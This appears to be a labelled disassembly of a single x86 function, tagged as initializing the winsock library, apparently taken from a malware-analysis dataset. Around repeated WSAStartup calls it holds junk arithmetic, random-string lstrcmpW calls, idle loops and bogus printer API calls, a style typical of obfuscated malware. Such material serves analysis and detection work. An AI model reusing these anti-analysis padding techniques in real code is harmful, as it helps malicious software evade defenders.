Function at 0x40ee7b
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push edi
push esi
mov ebx, 0x146
ror ebx, 0x1d
mov dword [0x42b82c], ebx
push esi
push dword [ebp - 0x28]
call fcn.0040e3b4
push 0x10
lea edx, [6]
push edx
call fcn.0040e004
mov dword [0x42b4a8], 0x669
and dword [0x42b4a8], 0xfff
test dword [0x42b4a8], 0x1cb
je 0x40eecf
push dword [0x42b4a8]
pop ecx
mov dword [ebp - 0x10], ecx
push eax
lea edx, [0x67]
push edx
call fcn.0040e3b4
push str.RXVoada
push str.mRhp
call dword [sym.imp.kernel32.dll_lstrcmpW]
mov dword [0x42af26], eax
mov dword [0x42aeaa], 0x24e
add dword [0x42aeaa], 0x38
mov edi, dword [0x42aeaa]
mov dword [0x42b2a5], edi
mov edx, 0x54e
sub edx, 0xc7
ror edx, 0x15
mov dword [ebp - 0x40], edx
mov eax, 0xb93
add eax, dword [0x428f3c]
mov dword [0x42b6f2], eax
mov dword [0x42b55a], 0x6df
inc dword [0x42b55a]
and dword [0x42b55a], 0xff
mov edi, dword [0x42b55a]
mov dword [0x42b15b], edi
mov ebx, 0xe02
ror ebx, 0x12
mov dword [ebp - 0x20], ebx
mov dword [0x42aeba], 0xaa3
mov ebx, dword [0x42aeba]
push ebx
pop dword [0x42b64f]
mov eax, 0xd04
add eax, 0xa10
and eax, 0xfff
mov dword [0x42b277], eax
push str.ilQr
push str.rXQzyerd
call dword [sym.imp.kernel32.dll_lstrcmpW]
mov dword [0x42ae8b], eax
push 0x10
lea edx, [0x66]
push edx
push 0x70
call fcn.0040e0a0
lea edx, [0x22]
push edx
push 0x42af4c
push dword [ebp - 0x40]
push 0x42acfe
push 0x42b19d
call fcn.0040e4b8
mov edi, 0x9c4
mov dword [ebp - 0x10], edi
mov dword [0x42ac03], edi
mov dword [0x42af4c], 0xd84
or dword [0x42af4c], 0x35
mov ebx, dword [0x42af4c]
mov dword [0x42ae80], ebx
push 0x428407
push str.GUBgj
call dword [sym.imp.kernel32.dll_lstrcmpW]
mov dword [0x42b29e], eax
mov dword [0x42b985], 0x92ff25ae
push 0x101
push 0
call dword [sym.imp.WSOCK32.DLL_WSAStartup]
mov dword [0x42ad7d], eax
push ebx
call fcn.0040e248
mov esi, 0xdc5
mov dword [0x42af1d], esi
mov edi, dword [0x42af1d]
mov dword [0x42b4ec], edi
lea edx, [0x74]
push edx
mov dword [0x42b44a], 0xbd4
add dword [0x42b44a], 0x18
cmp dword [0x42b44a], 0xe76
jne 0x40f074
mov esi, dword [0x42b44a]
mov dword [0x42b54e], esi
push eax
push dword [ebp - 0x3c]
push 0x42b11a
push edx
call fcn.0040e4b8
mov edi, 0xc66
shl edi, 1
mov dword [ebp - 0x38], edi
push 0x42b3e5
push edx
mov eax, 0x8c5
mov dword [0x42b3ef], eax
mov edx, dword [0x42b3ef]
mov dword [0x42b3c7], edx
push esi
call fcn.0040e2f0
mov eax, 0xd1a
add eax, 0xd00
shr eax, 4
push eax
pop dword [0x42b283]
push ebp
lea edx, [0x28]
push edx
mov esi, 0xccf
shr esi, 1
mov dword [0x42ad04], esi
mov esi, dword [0x42ad04]
mov dword [0x42b24b], esi
lea edx, [0x5a]
push edx
call fcn.0040e2f0
push 0x101
push 0
call dword [sym.imp.WSOCK32.DLL_WSAStartup]
mov dword [0x42b618], eax
push str.NwhkKSxw
push str.qCxGQ
call dword [sym.imp.kernel32.dll_lstrcmpW]
mov dword [0x42b8e0], eax
mov edi, 0xee2
ror edi, 0xa
mov dword [0x42b125], edi
mov dword [ebp - 0x1c], edi
mov dword [0x42af4e], 0x28e
sub dword [0x42af4e], 0x78
mov eax, dword [0x42af4e]
mov dword [0x42af2d], eax
mov dword [0x42b1b5], 0xa11
or dword [0x42b1b5], 0x982
mov eax, dword [0x42b1b5]
mov dword [0x42af88], eax
add dword [0x42b985], 0x6d41d09b
call fcn.0040e178
mov ebx, 0x458
add ebx, dword [0x42898f]
add ebx, 0xc7f
mov dword [ebp - 0x34], ebx
mov dword [0x42b137], 0xfe2
dec dword [0x42b137]
mov ecx, dword [0x42b137]
mov dword [0x42b325], ecx
mov esi, 0x7c0
shl esi, 2
or esi, esi
je 0x40f1b8
sub esi, dword [0x4283be]
mov dword [0x42b62e], esi
push 0x4281b5
push str.xvXX
call dword [sym.imp.kernel32.dll_lstrcmpW]
mov dword [0x42af80], eax
push 0x101
push 0
call dword [sym.imp.WSOCK32.DLL_WSAStartup]
mov dword [0x42b408], eax
mov dword [0x42aeef], 0x3af
add dword [0x42aeef], 0x24
mov edi, dword [0x42aeef]
mov dword [0x42b24c], edi
mov eax, 0xa9d
shr eax, 2
cmp eax, 0x4c
je 0x40f214
add eax, 0xe25
mov dword [ebp - 0xc], eax
mov dword [0x42adb2], 0x7a6
add dword [0x42adb2], 0xb
cmp dword [0x42adb2], 0x44
je 0x40f238
push dword [0x42adb2]
pop edx
push edx
pop dword [0x42afcc]
mov dword [0x42b891], 0x170
mov ebx, dword [0x42b891]
mov dword [0x42b82b], ebx
mov eax, 0xa9b
shr eax, 2
add eax, 0xc3f
mov dword [0x42af31], eax
push str.FQzshH
push 0x4281c1
call dword [sym.imp.kernel32.dll_lstrcmpW]
mov dword [0x42b1e3], eax
push dword [0x4299a1]
push dword [0x428ea2]
push str.JjhrA
call dword [sym.imp.winspool.drv_AddPrinterW]
push eax
push eax
push eax
push 0x4283fa
push eax
call dword [sym.imp.winspool.drv_SetPrinterDataA]
lea edx, [0x66]
push edx
call fcn.0040e48c
lea ebx, [0x4287e2]
mov byte [ebx], 7
mov byte [ebx + 1], 0x37
mov byte [ebx + 2], 0x4c
mov byte [ebx + 3], 0x16
push dword [0x429a15]
push dword [0x429646]
push str.mRhp
call dword [sym.imp.winspool.drv_AddPrinterW]
push eax
push eax
push eax
push str.mxMdlCGsox
push eax
call dword [sym.imp.winspool.drv_SetPrinterDataA]
call fcn.0040e178
mov edi, 0x177
and edi, 0xff
push edi
pop dword [0x42abb3]
push 0x10
mov dword [0x42b62b], 0x9a1
sub dword [0x42b62b], 0x51
and dword [0x42b62b], 0xfff
mov edx, dword [0x42b62b]
mov dword [0x42b1df], edx
push edi
push 0x60
call fcn.0040e2f0
mov dword [0x42b54e], 0xd02
sub dword [0x42b54e], 0x30
mov edx, dword [0x42b54e]
mov dword [0x42b827], edx
mov edi, 0x733
and edi, 0xfff
add edi, 0xbbd
push edi
pop dword [0x42b398]
push 0x30
push 0x50
call fcn.0040e004
push 0x10
push 0x42aea7
mov edx, 0xb96
sub edx, 0x33d
test edx, edx
je 0x40f387
shr edx, 1
push edx
pop dword [0x42b3c4]
lea edx, [0x22]
push edx
call fcn.0040e2f0
push 0x10
call fcn.0040e48c
call fcn.0040e178
push 0x5a68ee29
mov ebx, 0x22d7
mov dword [0x42b568], 0x19e
push dword [0x42b568]
pop edi
cmp edi, 0x7f5
jne 0x40f3cf
sub edi, 0xb48
push edi
pop dword [0x42af78]
mov edx, 0x8d8
add edx, dword [0x4294f4]
shl edx, 2
mov dword [0x42b37e], edx
add ebx, 0x433
mov dword [0x42b168], 0x954
add dword [0x42b168], 0x21
mov edi, dword [0x42b168]
mov dword [0x42b1f0], edi
mov edx, 0xec4
and edx, 0xffff
shr edx, 3
push edx
pop dword [0x42add3]
mov dword [0x42abba], 0x37e
or dword [0x42abba], 0xc28
inc dword [0x42abba]
mov edi, dword [0x42abba]
mov dword [0x42b031], edi
add ebx, 0x200
mov edx, 0xc81
shl edx, 3
or edx, edx
jne 0x40f460
and edx, 0xffff
mov dword [0x42abea], edx
sub ebx, 0x28ca
mov dword [0x42b779], 0x784
mov esi, 0xc35
or dword [0x42b779], 0xaa6
mov edi, dword [0x42b779]
dec esi
jne 0x40f47b
mov dword [ebp - 0x20], edi
mov esi, 0xebe
mov edi, 0x8f7
push esi
pop dword [0x42af6e]
dec edi
jne 0x40f49f
mov edi, dword [0x42af6e]
mov dword [0x42ac6b], edi
mov edi, 0x795
mov ecx, 0x816
sub edi, 0x4a1
shl edi, 5
dec ecx
jne 0x40f4c3
mov dword [0x42b2ff], edi
shl ebx, 0x10
mov dword [0x42b467], 0xb6e
mov esi, 0x4a
add dword [0x42b467], 0x14
sub esi, 1
jne 0x40f4eb
mov esi, dword [0x42b467]
mov dword [0x42b0e4], esi
add ebx, 0xe4d1
mov ecx, 0x5f7
mov edi, 0xb42
sub ecx, 0x4da
sub edi, 1
jne 0x40f517
mov dword [ebp - 0x14], ecx
mov dword [0x42b7f1], 0x255
mov edx, 0x9ff
sub dword [0x42b7f1], 0x79
or dword [0x42b7f1], 0x9a
sub edx, 1
jne 0x40f538
mov edx, dword [0x42b7f1]
mov dword [0x42adde], edx
mov dword [0x42b232], 0xd57
mov ecx, 0xd06
add dword [0x42b232], 0x42
dec ecx
jne 0x40f56d
mov edx, dword [0x42b232]
mov dword [0x42b4e7], edx
push ebx
push 0
mov esi, sym.imp.user32.dll_EnumDesktopsA
call dword [esi]
mov dword [0x42ae1c], eax
mov edx, 0x759
ror edx, 3
mov dword [0x42b88b], edx
mov edx, dword [0x42b88b]
mov dword [0x42b0eb], edx
mov esi, 0xe62
push esi
pop dword [0x42b071]
mov dword [ebp - 0x2c], esi
mov edx, 0x6a5
add edx, dword [0x429237]
push edx
pop dword [0x42b78a]
mov edx, 0xa7a
ror edx, 0x11
test edx, edx
je 0x40f5e3
and edx, 0xff
mov dword [ebp - 0xc], edx
mov edi, 0x5d9
sub edi, dword [0x428bed]
mov dword [0x42b84f], edi
mov ebx, 0xeb
sub ebx, dword [0x429a9b]
push ebx
pop dword [0x42ab81]
mov dword [0x42ab7a], 0xe7f
or dword [0x42ab7a], 0x54e
mov esi, dword [0x42ab7a]
mov dword [0x42b357], esi
mov esi, 0x42b131
push 0x42b105
call fcn.0040e2b8
push dword [0x42b985]
push esi
push dword [ebp - 0x10]
push ebp
call fcn.0040e2f0
ret